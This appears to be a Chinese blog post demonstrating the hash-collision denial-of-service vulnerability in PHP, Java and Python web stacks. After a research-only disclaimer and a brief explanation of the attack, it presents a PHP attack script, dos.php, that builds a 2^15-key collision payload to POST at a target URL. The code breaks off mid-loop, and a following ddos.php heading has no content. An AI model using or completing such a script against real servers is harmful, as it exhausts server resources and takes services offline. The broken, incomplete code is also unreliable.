首先声明：本文内容只用于研究学习使用，请勿用于非法行为！
前面提到过最近爆出的hash表碰撞漏洞，包括java、python、php等在内的很多常用语言均未幸免，今晚咱就来实际看看它的威力。
攻击原理：
通过向目标服务器post一组精心拼凑的数组参数，到达服务端后语言底层处理接收到的数组参数时，由于该漏洞的存在造成CPU的大量消耗，最终导致服务器资源耗尽。
不用什么花哨的手法，就用PHP简单实现下看下效果，点到即止。
文件：dos.php
// 目标地址 // 只要目标地址存在，不用管它是干嘛的 $host = 'http://127.0.0.1/test.php'; $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key
文件：ddos.php
